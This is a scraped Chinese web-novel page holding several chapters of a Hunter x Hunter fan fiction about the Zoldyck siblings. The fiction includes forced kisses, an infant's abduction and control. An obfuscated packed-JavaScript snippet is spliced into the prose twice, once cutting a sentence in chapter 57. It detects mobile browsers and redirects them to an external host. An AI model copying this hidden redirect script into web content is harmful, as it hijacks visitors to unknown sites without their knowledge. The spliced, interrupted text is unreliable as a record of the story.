l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035597|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个名字，每次都用这个名字喊她，顾深深连翻白眼。 林洛学会了甩脸色，专对西索甩，跟母鸡护崽子似的，她嘴巴又不利索，每每都要被西索作弄生气，然后转头就会决定不搭理伊尔迷，转移怒火泄愤法。伊尔迷就要来找西索，两个人打的时候基本没手下留情，但是也基本上是玩闹而已，被锁喉的西索和锁喉的伊尔迷，加上两个看戏的小姑娘。 顾深深觉得西索烦。 烦透顶了！ 他总是我行我素做一些奇奇怪怪的事情，不是在泳池里游泳差点把自己呛死，就是去滑雪然后变成一团雪人，要么就是飙车，还有跳伞，每次还都要带着她去，她虽然大多数都在一旁看着，泡着，跳伞也有一起玩，但是每次都觉得哪天西索真死了，也不是没可能。 西索笑嘻嘻指着自己说，我是风筝。 他又指着顾深深，他说，你是我给自己找的线。 还是那句话，谁想要啊！！莫名其妙自作多情自顾自塞过来的，谁想要啊到底是！ 但顾深深看看他给自己的卡，里头的余额。 好吧，这一切又不是不能忍，虽然这个馅饼砸头上有点疼，但谁会跟钱过不去呢？ 他们就这样磕磕绊绊，走到高中，陪着西索的时间也变得不那么难熬，她学会了滑板，学会了摩托车，学会了在水里憋气，跳伞的时候多看看外边的景色，寒假暑假被抓出去满世界跑，看了很多风景，很多世界，不再是这个城市里的一切，她的目光看到了更多和更远的地方。 她在巴黎，林洛可能就在希腊。 她在芝加哥，林洛可能在西双版纳。 他们两个人永远错峰出行并且不让妹妹们待在一起。 林洛说，“如果他对你动手动脚，你就狠狠地踹他的屁股！” 不是哥们儿，我俩这体格，他要真动手我也就只能等死吧？最多把床头烟灰缸砸他脑壳上听个响。 顾深深也不知道他是怎么跟自家人说的，反正他们没怎么再管过她，顾深深也乐得轻松，她对西索越来越不客气，踩他的aj踩他的皮鞋，不高兴的时候还要偷偷拧他一下泄愤，西索从不生气，他会搂顾深深，会贴的很近，但是没有过激的举动。在澳大利亚水边别墅，西索慵懒看着烟花，他说——活着还挺无聊的。 他长大了，轮廓加深，变得更加成熟有味道，每天和他搭讪的女人不计其数，这个时候他就会和顾深深十指相扣。他叫她格蕾西，嗓音甜的发腻，潜水到深处摘掉自己的氧气罩，然后被顾深深手忙脚乱的塞回去。 被顾深深拉着上去时他笑的上气不接下气，头发湿漉漉的贴在身上，慵懒眉眼挑起狐狸一般的光芒。 啪。 这一巴掌打得他偏过头去，顾深深眼泪克制不住掉下来，“你死了我要怎么办啊！” 虽然核心理念是，他死了，她在异国他乡，怎么回去。 但是西索显然不这么认为，他把顾深深拉下水，咬上妹妹的唇瓣，他的妹妹拼死挣扎，咬他的舌头咬出了血，眼泪还挂在眼睫毛上，身体拧巴，但慢慢的，她又不挣扎了。西索搂着她，疯子也像突然被打了一针镇定剂似的，他叹息。 “别哭了，哥哥错啦。” 你根本不知道你错在哪里好吧！ 简直从头到脚都是错的！ 可是他顶着巴掌印在脸上，笑嘻嘻的凑过来，顾深深也没了脾气，只能在心里安慰自己，就当被狗咬了。 但西索不止一次的亲她。 在刚刚飙车结束后，压着她在摩托车上亲；在刚刚蹦极结束之后，搂着手脚发软的她亲；在潜水上来时，水里沉浮着亲。 顾深深气急败坏，西索油盐不进。 他说——“我爱你。” 鬼信啊！ 终于结束了寒假，熬到了开学，上大学后顾深深的追求者们成群结队，可他们从来不能真的接近顾深深，她对着这群年纪小或者差不多的家伙们没兴趣，而且西索还在虎视眈眈。他最近收敛了，不玩那么多不要命的刺激的东西，去做了什么设计行业，甚至还是美术生，画画画得太癫狂，也有人出高价买，他本就是上流社会的人，回归上流社会也是自然而然，但是雷打不动的，风雨无阻，他要来接顾深深。 在听到林洛要和伊尔迷结婚时，顾深深觉得，你终于露出你的真面目了，伊尔迷你果然不怀好意！ 可西索想了半天，他说，“你当初不肯上我户口，是不是就是为了和我结婚？” 不是，你说的是人话吗？ 顾深深觉得自己依旧无法和他沟通，她翻了个白眼，转身就走，却被西索拉回来。 “好好考虑一下嘛。” 考虑什么？考虑弄死你吗？ “放开，我要去找林洛了。”顾深深说，“别的事情，你想都别想。” 西索乖乖松开手。 但他们之间，绝对不算完。 55. 54 零洛登上了飞艇。 她背着斜挎包，找了个厕所认真整理身上的裙子。 性别利用针来改变让她不得不携带伊尔迷的大量钉子，只是局部微调的话比变身集塔喇苦好受得多，微微起伏的女性特征，年岁较低的零洛体型流畅完美，她的肌肉线条隐隐约约，只要注意一点别让它们鼓起来就是。 说实话，她看不习惯现在的自己。 蓝色的头发像是让她变成了另外的人，而轻飘飘的裙摆遮挡住一半大腿，过膝长袜与小腿靴搭配，相得益彰。 她这样的像一个……姑娘。 或许很多人都想过一辈子自己要是个男的就好了，零洛大概也是这样想过的，不过到最后她还是会觉得，当一个女孩才是最美好的，只需要别有那么多枷锁，为什么不呢。 她摸了摸斜挎包，里头装着她的证件和猎人执照。 巴托奇亚共和国里，揍敌客家的地位不容小觑，所以别说什么□□，他们说想要一份证件的时候，从零到整，一天内必然要出现在他们的面前。而猎人执照上，名字也是零洛，甚至将考试时的影像等都进行了更替。 她现在是零洛。 等下格蕾西应该会吓一跳吧。 零洛出了门回到自己的座位上，她给自己换了个手机，旧的就留在了揍敌客家，现在只有格蕾西的联络方式，因为零认识格蕾西，所以零洛与格蕾西也不需要特地装作不认识。 零洛：「土豆土豆，呼叫马铃薯，我是换了号码的某个愿望之神，请问你是要这份薯塔还是这份冰激凌？」 格蕾西：「？」 格蕾西：「吓我一跳，我两个都要！」 零洛：「收到！」 虽然只给了两个选择，不过零洛已经决定要将看见的都买一份，这样他们就能够共同享用。 临近下车前她又在镜子前拿粉扑使劲怼着肩膀和脖子上的红印拍拍拍，努力遮盖住痕迹，毕竟格蕾西如果看见了应该会气得暴跳如雷。 抱歉了，格蕾西…… 因为要和伊尔迷进行拉扯，所以他目前并不准备对伊尔迷进行拒绝，或者更…他被牵着鼻子走的时候也会因为这份感情而沉沦，伊尔迷真的占据了太多有利的第一位。他是自己最重视的家人，也是陪着自己最久的人，哪怕在死亡的边界线，也只有两个人的名字能拉自己回来，一个是格蕾西，另一个是伊尔迷。 他像是疯了，曾经爱上大哥之后告诉自己不可以有这种肮脏的想法，可是伊尔迷现在却要拉他在泥坑里打个滚。 人类从来不是如一的，从来都因为想法的变化而变化。 一开始他没有拒绝的权利，没有主动权，没有说不的可能性，只有因为身为被调戏的那一方而羞恼的情绪，那个吻让他迷失在其中，他也渴求着……亲密的关系。 是啊，他和大哥，都到了这个时候。 伊尔迷寻求除了亲情更能深入的爱情，他比起这种亲情也想要爱情。 他们的目的不谋而合，所以才会被牵头走。 零洛想着，她垂下了眼睫，长而卷又浓密的睫毛令她像洋娃娃一样可爱，所以她其实有些不明白，有这样一张脸的话，是男人又能改变什么呢，父母为何要在死前让她成为男性？对女性……忧虑，她是明白的，她一定深刻地明白过。 这次一定要告诉格蕾西自己的打算，否则她一定要生气了。 想起格蕾西，零洛下意识弯唇笑了笑，她摊开包，描眉、涂唇膏，用细节的改变让自己看起来和零相差的那两分都消失不见，现在站在镜子前的是另一名少女——零洛。 背着小背包飞艇后，零洛只觉得浑身轻松，不知为何，用女性身躯感受世界会让她更加自在，果然，自己本身的性别才是最好的，连念钉扎入身躯之后的堵塞感都可以忽略。久违的天空竞技场出现在面前时，她不可避免想起了与格蕾西重逢的场景，想起她的眼神——果然，西索必须去死。 她绕到小吃街上扫荡了一圈，提着大包小包敲开了他们三个人暂时所在的房间。 小杰打开门的时候傻了一瞬间。 “诶？伊洛林？不是……诶？” 他能够敏锐察觉面前这个人就是伊洛林没错啦，但是越看越不确定，染头发了？眼睛是怎么回事？ “小杰，好慢，是不是伊洛林啊……啊？？” 奇犽呆立在原地，而零洛冲他们一笑，挤进了门，格蕾西恰好从厕所出来，不可置信地瞪大了眼睛，手指颤抖了几下，转眼间扶住额头露出了我就知道的表情：“你这家伙……和零见面了？她怎么一直不回我消息？” “她不是故意的，零现在在代替我。” “代替是，什么意思？”奇犽觉得自己脑子不够用了，浑浑噩噩走过来想摸一下零洛的脸确认一下真假，零洛偏头躲过：“奇犽哥，我化了妆！” “抱歉，抱歉……” 他们关了门，四个人围坐在一起，一边吃零洛带回来的东西，一边听他说事情的原委。这一手狸猫换太子，说不准他们已经筹谋了多久，按照伊尔迷的说法，猎人协会此前的态度很模糊，而猎人协会则认为是揍敌客一直在阻挠他们，格蕾西做出结论：两边都不是好东西。 “可是会长看起来人很好……”小杰下意识说道，被格蕾西掐了一把脸，痛得哇哇大叫，捂着肿起来的脸委屈。奇犽本来就没什么感觉，但是觉得那个会长让自己的家差点就碎了一半，因此也维持了格蕾西的原判。 “不过，伊……不是，零洛，大哥他对你是认真的吗？”奇犽终于提起了这件事，他观察着零洛的表情，而格蕾西咬着薯塔，发出一声骇人的冷笑，零洛想了想，点点头。 “大概是，认真的，因为如果我不是家里的孩子，那么大哥就没有借口了？” “我大概是属于他的东西，所以他不准备放手。” “狗屁，你就是你，你不属于谁，你就是自己！”格蕾西一秒反驳，作为反pua大师，她对伊尔迷天生没有好感，伊洛林本身就没有经历过那种感情pua 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“总而言之，以后我就是零洛，所以要用这个新的号码联络我，不用装不认识，因为零洛也考猎人考试。” “那我怎么办？” 奇犽又好气又好笑，指着自己问。 零洛无辜眨了眨眼，大逆不道：“奇犽？” “好你个零洛！”奇犽扑过去将零洛压制住，开始挠她痒痒，两个人闹成一团，格蕾西看得眉心直跳，这是她哥，没事这是她哥，没事……忍了又忍才忍住直接给奇犽头上来一拳的冲动。小杰往下一躺，仰天长叹：“可是我都还没遇到西索——” “差不多会在二百层等你吧。”格蕾西擦了擦嘴：“如果你连二百层都上不去，别说西索了，揍敌客都对你没兴趣。” 强者为尊啊少年，不论是兄弟还是老婆，没实力都护不住的。 “那，格蕾西，你好像是两百层诶？” “我和伊…零洛都是已经上了两百层的。” “那我也要努力了！” 奇犽把零洛拉起来，理了理她乱糟糟的头发，突兀发现了什么擦了一把零洛脖子上的粉：“……等下，你这是什么？你这是什么？！” 那个痕迹……绝对是吻痕吧！ 零洛下意识一挡，立刻就想开溜，被格蕾西一手摁住了手腕。她和奇犽两个人气势汹汹，仿佛恶鬼降临。 “给我招供！！” “禽兽！禽兽！给我说出来！！” 零洛左顾右盼，支支吾吾，索性嘿嘿傻笑了两声，企图蒙混过关。但是失败。 “绝对不可原谅！！” “啊…我们去把你哥杀了吧，现在就杀了……” “ok，我奉陪啊……！” 零洛一手楼一个，求救般看向小杰，小杰嘿嘿一笑，蒙混过关。 “那……加我一个？” 你们三个不要命了啊！！ 56. 伊尔迷番外1[番外] 伊尔迷在拥有弟弟这件事上，并没有特别的新鲜体验。 他有一个弟弟，名字是糜稽。 他们之间相差的岁数并不大，所以他也只是偶尔会看一看弟弟的生长环境，类似于加点水，或者加点饭，席巴教育过他，弟弟不是宠物不能用这种办法喂养。但是那又怎样呢，伊尔迷又没有养育弟弟的权利。 养育是个美妙的词汇，他看着基裘抱着糜稽，从早到晚一点不累，她控制糜稽的行动，去哪里都是自己做决定，小小的孩子根本没有拒绝的权利。 不是宠物吗？他以为是的。 伊尔迷有点喜欢这种感觉。 他想要弟弟，不止是弟弟，是养育属于他的弟弟。 彼时伊尔迷正在训练，他的脸上是血迹，手上动作也毫不留情，处理一只又一只扑上来的魔兽。他在训练的是自己的精准度，毕竟血迹很麻烦，想要完全清理显然需要时间，而他也不喜欢脏兮兮地去见弟弟，糜稽上次看见他都吓成这样一团，碰也不让碰。而且，虽然还没有开始任务，但伊尔迷被带着参观过父亲是如何杀人的，优雅而敏捷，没有任何多余的动作。他现在还不够资格去做任务，因为如果每一次，杀人之后都要花费时间对自己进行清理，那么时间就浪费了，有那个时间完全可以多杀两个人，赚多一点钱。 伊尔迷的潜力很大，从他出生开始就通过报告显示了一切，揍敌客家族很高兴他们生出了这样一个孩子，而伊尔迷也确实如他们所愿，没有任何对训练排斥或者不解的苗头，他是个天生的杀手，四岁就懂得蛰伏在黑暗里，在大部分佣人都未发觉的前提下走遍了揍敌客家。对于杀人，他没有概念，在家里佣人的地位等同于家畜，管家的权力会高于佣人，在你进入揍敌客工作后你的一切都属于揍敌客，包括性命。 于是伊尔迷杀掉其中一位企图触碰到他的佣人后，只是淡然地擦了擦手，他还那么小，站在那却像恐怖的黑暗降临在每个人的心上，管家们跪了一地，如临大敌。 伊尔迷甚至还没接受杀人训练，他杀的都是一些大型魔兽。 第一次杀人，他只开口询问了一件事，“违背佣人守则，还需要发抚恤金吗？” 梧桐谨慎回应他：“并不需要。” “唔。” 他丢下染血的布，轻飘飘丢下一句你们自己去领罚，便离开了。这件事没有受到任何的关注，只有在监视器后面目睹了一切的基裘快乐地压不住声音，把怀里的糜稽也折腾得像面团一般。完美的杀手，冷酷无情的只思考利益最大的事情，这是她的孩子，她珍贵的孩子！！ 于是伊尔迷超过预定岁数很多开始学习杀人，甚至在某一次单独任务里自己觉醒了念，随行管家甚至没有派上用场。 当之无愧的天才，难得一见。 席巴夸赞他，他是难得一见的好苗子，会成为揍敌客家的骄傲。而作为骄傲，伊尔迷想要的其实就是弟弟的抚养权而已，他想要一个，属于自己的，弟弟。 血脉相融的奇怪存在，会让他产生什么情绪吗？ 伊尔迷很少笑，并非不会，而是没必要，又或者是没感受到能够开怀笑的事情。 基裘怀孕了，糜稽的抚养权她却还是不肯松手，其实伊尔迷也能够理解妈妈的心情，自己亲手养大的孩子怎么可能拱手让人呢？但伊尔迷已经没有那么渴望糜稽，毕竟糜稽长大了，你让他去做什么事，他会有逆反心理，不那么乖了，也不能控制太过，否则桀诺会训他。训他，弟弟不是宠物，不能够强迫他做什么。 好吧，他想要弟弟，宠物弟弟。 于是伊尔迷充满期待，期待基裘生下孩子，据说是双胞胎，那么是否家人愿意分一个弟弟给他？妹妹的话，妈妈一定会想要，所以弟弟就好。 分一个弟弟给他，好让他也感受养育，品尝妈妈一样的快乐。 可惜，事与愿违。 双胞胎里，先出生的取名为奇犽，他有一头银色的胎毛，而检测的机器给予了比伊尔迷更加可观的评价，如果伊尔迷是难得一见的天才，那么奇犽就是举世无双的那种——这证明他的教育得全权交给父亲。 伊尔迷望向另一个弟弟，他的身体却是孱弱得有些过分的，必须进保育箱，让医疗队二十四小时看管。 伊尔迷很不高兴，他有弟弟这件事，并不新鲜，可他没有自己能够全面管控的弟弟。 席巴为此感到头疼，他确信伊尔迷会对弟弟很好，所以他对伊尔迷承诺，奇犽有一半的教育权可以给他，他要学着做一个对弟弟温柔的哥哥。伊尔迷被成功哄开心了，他仍旧觉得可惜，但这是爸爸能给予的极限了。 如果没有发生意外，伊尔迷本该耐心照顾奇犽到成长，然后暴露出他多余的控制心。 事有意外。 其实揍敌客家是相当讲道理的一家人，对于外人来说或许他们恐怖又充满了谜团，而他们之所以让人这么觉得的原因，是因为他们过分讲道理不讲人情的同时，强大的实力也是他们的道理之一。一拳能够解决的事，为什么要说两句话？ 席巴把这些道理教给伊尔迷的时候，可没想到他会用这个道理来为难自己。 伊尔迷单独接的任务，哪怕是猎人协会的安全屋，也不在话下才对，可是接应的管家迟迟等不到他，所以汇报给了席巴。席巴打了个电话过去，从声音里就能听出来，伊尔迷好像觉醒了什么奇怪的意识。 “喂，爸爸。” “伊尔迷，出了什么问题？” “没有任何问题。”伊尔迷平静说道：“只不过是情报出现了一点问题，目标已经生下了孩子，没办法胎死腹中。” “孩子呢？” “我这里……” 伊尔迷的声音一顿，似乎被吸引了注意力，席巴问他怎么了，伊尔迷的声音缓缓沉了下去：“hum……婴儿，爸爸，我想带他走。” “伊尔迷，你还记得我跟你说过的话吗？”席巴觉得自己乖巧的大儿子要开始进入叛逆期了，这种小猫只能顺毛撸，可伊尔迷十分确信自己的想法没什么问题，他很讲道理的：“爸爸说了要让一个弟弟给我，但是并没有做到，对吧？爸爸也说可以给我挑选别的礼物。” “礼物不是人。” “为什么不是。人在我眼里，和物品没有区别。” 席巴沉默了。 他或许应该早点注意到孩子的心理健康，伊尔迷太符合杀手的所有要求，他太满意了，以至于觉得伊尔迷这样野蛮生长的放养也不错，现在覆水难收，他想改也不能直接改。伊尔迷把他的沉默当成认同，愉悦地挂了电话。 席巴看不见的地方，伊尔迷戳着婴儿软乎乎的面颊，被握住了手指，轻飘飘的，没有任何抵抗能力，只是一种天然的孱弱和能够被随心所欲控制的快乐在蔓延，伊尔迷顺从自己的想法，认定这是意外，雇主要求的是胎死腹中，生出来是雇主自己没有说明白，不属于揍敌客家的杀手事故。 临走前，伊尔迷想了想，还是去把白天看到的，那对夫妻说要送给孩子的项链带上了，给他留个念想。自己还是很体贴的。 伊尔迷从窗台上一跃而下。 怀里的婴儿一直在哭，却没什么声音，他哭起来小声，像幼猫崽子，糜稽的哭声洪亮，奇犽的哭声也不错，亚路嘉哭得断断续续，而这个孩子哭的像在压抑自己的感情。伊尔迷用余光观察，他会恐惧，会迟疑，眼睛里有太多情绪，不像一个孩子，但伊尔迷并不熟悉真正的孩子，所以抛之脑后。 因为席巴并没有直接告诉他允许，伊尔迷把婴儿丢给了管家。 他甚至没有交代一句话，因为管家必须服从他的任何命令。十二岁的伊尔迷对自己所拥有的权利有清晰的认知，对自己的实力和未来成长也有进一步的建构，他认为自己完全有闲工夫养一个专属于自己的弟弟，宠物也可以，这两个并没有什么关联也没什么区别。 他清楚自己会受到惩罚，清楚父母不会同意。 但是首先爸爸的承诺必须生效，其次他可以让妈妈抚养一半的这个孩子，毕竟糜稽长大了不愿意穿女装还拼命把自己吃胖，奇犽在爸爸那里，亚路嘉太脆弱她根本提不起兴趣，那么多一个孩子实际上是对她才有好处吧？ 不能太急，要循序渐进。 伊尔迷对于疼痛没有什么感觉，这倒不是说他感觉不到疼，只是或许需要更加强烈的疼痛才能够让他有所反应，他的身体敏锐，察觉风与杀气都相当迅速，对痛觉没那么敏锐，反而适合做一个杀手。 但席巴没有惩罚他，只是让他来给奇犽换尿布。 很好，伊尔迷不会。人生第一大难关。 奇犽很会哭。伊尔迷不会换尿布，他哭；伊尔迷不会喂奶，他哭；伊尔迷刚开始放一点细微的电流，他哭；伊尔迷抱起来他，他哭。 伊尔迷逐渐不明白，他想不通，就去找自己带回来的婴儿。他不怎么哭，哭起来也很小声，要不是医生检查过，他会怀疑这孩子声带是不是有问题。他总是懵懂地看着所有人，被换尿布换得乱七八糟也不哭不闹，伊尔迷很清楚虽然梧桐他们在鼓掌，但是自己离开之后他们会迅速把尿布再换一遍。 所以自己是被奇犽讨厌吗？ 哦，讨厌他的还有亚路嘉，因为亚路嘉也一直哭。 “他们只是还没习惯你。”席巴安慰他，当然，没起到作用，因为糜稽之前也是哭，现在？现在他只是改成用害怕的眼神看着自己了。伊尔迷很不清楚，自己很恐怖吗？明明他们都说自己长得很像妈妈，拥有出色的脸蛋。 伊尔迷对着镜子沉默观察了很久，他企图露出一点笑容，笑起来很普通，但他听见房间里伺候的佣人心跳迅速加快，那是一种恐惧的心跳。 啊，自己笑起来不好看吗？ 于是伊尔迷去对自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035599|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己带回来的孩子笑，那孩子被吓得够呛，眼泪溢出来，盈满了眼眶。伊尔迷觉得还蛮有趣的，一个婴儿，哭得这么……有氛围？伊尔迷来逗他，把他吓得一抖一抖的，像个坏掉了的布娃娃，电池短路的时候也是这样。 这孩子存在的好处是让他学会怎么换尿布，喂奶，给婴儿洗澡，差点淹死他确实是一个失误，他没想到婴儿是不会憋气的，以为在水底下一两分钟应该没事呢，仅仅三秒就呛到了还是有点脆弱的。 梧桐告诉他，这是婴儿，很脆弱的婴儿，应该更小心一些。 这大概就是席巴要他明白的，照顾孩子不是如他所想只有快乐和操控，芝麻大点的小事数不胜数，他甚至不能够去很好地明白这一点，所以他才没资格做抚养弟弟的人。伊尔迷痛定思痛，给婴儿擦屁股，包尿布，勤快了不少，而梧桐告诉他，这个婴儿似乎拥有超出常人的智慧。 他的身体检查报告颇为普通，没必要检测，但是智商却比一般人高吗？ 毕竟他在没可能的年纪里，学会了翻身、爬行，和走路，他摇摇晃晃地走着，努力稳重心，胎毛长长了些许，柔软地盖在头顶上，眼角一点泪痣，不得不说，他是个漂亮小孩，伊尔迷很满意自己挑选的眼光。小孩很努力，也很努力地在装自己没有什么意识，不过伊尔迷看得出来，他确实有时候是没有意识的，他会忘记自己刚刚在做什么，发一阵子呆，再慢慢爬起来，做点别的事情。 脑子是有什么问题？体检了一次，答案是没有问题。 他很健康。 伊尔迷一直都知道这孩子怕自己，他会躲着自己，又会假装很忙到处摸，企图推翻垃圾桶的行为像个幼稚鬼，伊尔迷越来越觉得他有趣。 这是一个不同寻常的孩子，只有自己知道。 很新鲜的，父母不知道的，秘密。 甚至这孩子还无师自通，学会了说话。 当他用含糊不清的口吻念出伊路哥时，伊尔迷努力控制住自己的唇角，他怕自己笑得太大声，把这点来之不易的愉悦都打散。他教这孩子说自己的名字，伊尔迷、伊尔迷，他叫得含含糊糊，舌头发育不完全似的，但伊尔迷想，这是天注定要他做弟弟。 而席巴那边的调查也出来了。 被杀的是猎人协会的人，猎人协会当场焚烧了尸体，而某个家族开始公开寻找一串项链。 伊尔迷把项链交给了席巴。 席巴说，他会认真考虑伊尔迷的奖励。 伊尔迷决心自己再争取一把。 最终让席巴下定决心的是那孩子与奇犽相遇后，奇犽开始闹脾气了。 那天奇犽看见了趴在窗户上的他，那孩子自己或许并不知道，他看着外面的眼神真的有些渴望，奇犽并不愿意和伊尔迷在一起玩，于是他指着那孩子，啊啊叫了起来。伊尔迷纵容奇犽要一切想要的东西，很容易就把钻了一半进衣柜的那孩子扯了出来，他露出了沮丧的表情，又可怜巴巴地抬起眼睛，像只被主人强迫扯了后腿的小狗，有一种畏畏缩缩的可爱。 奇犽叫他，弟弟！ 伊尔迷耐心纠正了一次，可奇犽不依不饶，伊尔迷若有所思。 回去之后奇犽一直在叫弟弟，他发脾气，砸牛奶，拍着床的栏杆要弟弟，佣人抱他去看亚路嘉，他也能安静下来，但是没一会儿又开始要弟弟，另一个弟弟。席巴的脸也被奇犽扯长，奇犽折腾他，要弟弟，要弟弟，他解释说妈妈肚子里还有一个孩子呢，奇犽喜欢弟弟还是妹妹？ 奇犽大哭起来：弟弟！ 伊尔迷无辜看着席巴，席巴两眼一闭。孩子生多了，就是养不过来，教不过来。 “带过来，让我看一眼。” “好的，爸爸。” 利用奇犽的第一次，没有什么特别的感觉，人与人之间本就应该如此，家人之间也难免，感情是真的不就足够了吗？伊尔迷理直气壮。 小孩被带过来，席巴一眼就看出来，他脑袋里被伊尔迷扎了根念针，但是他并没有说什么，只是释放着念的威压。他惧怕吧，大概是心里还很紧张，席巴饶有兴趣增加了压迫感，那孩子弯着腰看着地板，汗流浃背，却没有哭，没有闹，没有想要逃跑又没有倒下。 不错，是个……做杀手的好苗子。 生日礼物，还有承诺，现在可以混为一谈了。 伊尔迷心情不错，他说服了席巴，说服了基裘，心情大好出去做任务。 他现在有一个弟弟了，一个只属于他的能够被他完全掌控的弟弟，伊尔迷想要实现自己的愿望，不论绕了多大的一个圈子，他都会去做，直到自己满意为止。他给那孩子取了名字，就叫作伊洛林，伊尔迷很清楚，他混乱了一瞬间的思维。排斥了这个名字，但是那又如何呢？ 不论你从前叫什么，你现在都只能叫伊洛林。 直到死为止，你也会是伊洛林.揍敌客，永远永远。 57. 伊尔迷番外2[番外] 观察伊洛林是个充满趣味的过程。 人的第一视角总是对自己的处境有所偏差，伊洛林很聪明，但他的聪明仅限于——像个成年人一样。 第一次这么意识到是因为他太过于安分守己。伊洛林总是天然地知道自己该遵守什么规则，比如吃饭的时候不要讲话，拒绝不了的事情不要拒绝，对强者服从，接受自己的现状。他甚至不挑食，除了调味用的生姜他会犹豫着在碗里放很久，才会一点一点，不情不愿地吃进去。他甚至都没有问，能不能不吃，真是一个乖巧的孩子。 因为知道自己无法反抗所以低头接受，哪怕眼里有不满也有抵触，纠结许久话到嘴边却只顺从的消失殆尽。 这很好，揍敌客家需要这样识时务的人。 这也不好，伊尔迷教他说话可不是只为了让他做个哑巴。 “不喜欢姜？” 不，还有刺激性的调味品，他的口味很清淡，这也是一件好事。 这种事情不需要伊洛林回答，能够很直接地观察到。 清淡的食物他会在五分钟内吃完，而重口味的食物则需要十分钟以上。 伊洛林被询问时充满了惊疑不定，他在反思，这也很好，这孩子遇到任何事情第一件事就是反思自己，而不是转移注意力或者欲盖弥彰，伊尔迷很欣赏他这样的性格。鼓足勇气一般，伊洛林点了点头，伊尔迷摸了摸他的发顶，感受柔软的头发在掌心里的触感。 “好，我知道了。” 伊洛林没能再吃到一口姜，因为伊尔迷让人将必要的姜都打成了汁加入调味中，这种调味品使用得不算少，伊洛林既然不喜欢吃掉，换个方式喝掉也一样。伊尔迷观察到，伊洛林吃饭的时候速度增快了些许，这个方法是切实际而有效的。 伊尔迷其实很忙碌，这么说的话大概没什么人信，因为虽然他不是一直都在，但他总会突然的出现，零碎的出现。 因为他记挂着家中的孩子。 他的弟弟——糜稽的训练得加强，奇犽的训练得参加，亚路嘉的身体情况得查看。 他是个忙碌的哥哥，因为他是所有人的哥哥。 因此特别让人省心的伊洛林便不由自主地让伊尔迷心生宽慰，这孩子从来不多嘴多舌，他从来就这么安静，虽然伊尔迷不是很满意他和哑巴一样，一年到头说不上两句话，只是用摇头和点头做示意。就像是……就像是他害怕外界，所以不愿意开口，就好像一开口就会融入其中一样。很奇妙，他不像这个世界的人。 伊洛林会自己学习，读书写字，念卡片时只是唇瓣微微翕动，重复两三次，会了再放下，他会学习到自己完全掌握为止，虽然他从不使用，但他一直在听。 他听梧桐和下人们的聊天，听佣人们忙忙碌碌的声音。 他会从这些人的话语里获取信息，将自己幼儿的身份利用到极致，谁会觉得一个一岁多两岁的孩子，在偷听？他只是专注地读书而已，仅此而已。 伊洛林，这也是优点呢。 但伊洛林也很爱发呆，他时常会愣住很久，像是头脑空白。瞳孔涣散着，身体维持一个动作，僵硬住很久之后才会逐渐苏醒，像灵魂还不太适应自己所在的地方。他自己从不知道，这太新鲜了，难道他不清楚自己在家里每个角落都能躺下睡着，是一个很令人好奇的行为吗？ 怎么做到的呢。 晚上不睡觉，白天碎片化地睡觉，或许只是睡了几秒钟，或许几分钟，最长的一次从白天到黑夜，他甚至没能注意到自己错过的时间。 伊尔迷不得不加派人手，难得调配了几个监控。 这不是为了别的，也不是他让伊尔迷为难了，增加了工作量，而是伊尔迷认为自己应该多多观察这种行为。照顾伊洛林日常行为的管家被他摁住，无法上报不正常的行为，席巴或多或少知道，但是管家们之间从来不是一个派系，他们的主人偶尔也会闹矛盾，闹矛盾的时候就需要他们全力以赴去行动——主人们不能互相残杀，但他们使唤手底下人的时候，可没说不能见血。 监控是方便伊尔迷不在家的时候，随时随地开启手机查看伊洛林在干什么。 今天的牛奶也喝进去了，甚至没抱怨里头有毒，聪明的拖了个枕头在一边，晕过去的时候就砸在枕头上，安静地睡了。伊尔迷还是遗憾，他想要听伊洛林说话来着，听他叫哥哥是一件享受的事，他那不确定又不安的神情，狗狗祟祟偷做自己的事情被发现的下意识遮掩，都很让人觉得，强迫他是件美妙的事情。 一定有人这样做过，这样对他做过，所以他才会下意识地知道别人会怎么强迫自己。 还是有一些遗憾，自己并没有从他真正脆弱年幼的时候开始养育，伊尔迷感觉自己还是不够满足。 伊洛林还很喜欢钱，这倒不是说他看到钱的时候会眼冒金光，特别想要，而是他得到的零花钱压岁钱都压在枕头下，几乎一个月数一次的频率，认认真真记住了数量。他好像不是很了解戒尼的值钱程度，所以伊尔迷看到他在偷偷算汇率，但是算得很拙劣，几乎就像是预设了三种程度的国家——发达、发展与落后。 在他的其中一种预设里，五万戒尼只等于另一种货币的五块钱，那个货币很奇怪，怪值钱的，书写名称是RMB，不过伊尔迷还没有找到使用这种币种的国家。 这件事情在他发现自己的书本多少钱时戛然而止。 嗯，很聪明，会从最基础的生活用品物件里，立刻意识到自己所处世界的金钱价值几何。 伊尔迷几乎愉悦地笑出了声。 这太难得，太有趣，他可不会上报给爸爸，让自己失去这种快乐的生活。 伊洛林，你到底是什么呢。 伊洛林晚上睡不着，而伊尔迷晚上会跟他在一起，通过念针的操控已经很顺手，只需要一秒钟伊洛林就会闭上眼陷入沉睡，他几乎不做梦，眼珠子不会转，沉默安静像是死了一般，不翻身，不说梦话，只是呼吸。 三岁，伊洛林开始接受更多的教育，涉及到的还有电击。 揍敌客家的孩子从出生开始就要受电击训练，除了亚路嘉，他的身体实在是承受不住，也就是揍敌客家出现了一个最没有天赋的孩子。 伊洛林和奇犽亚路嘉关系好，他们经常玩在一起，追逐打闹，伊洛林偶尔也会笑一笑，很微妙地抿唇，那是笑吗，或许是的，他更喜欢孩子一些？或许奇犽他们没意识到，但他们依赖伊洛林，他总是包容、沉默、顺从、配合。不抗议，不争取，不对他们发脾气，把自己的零食都让给两个孩子，被压在最下方的时候也不会生气。 伊洛林一直这样，于是这样就变成了正常的。 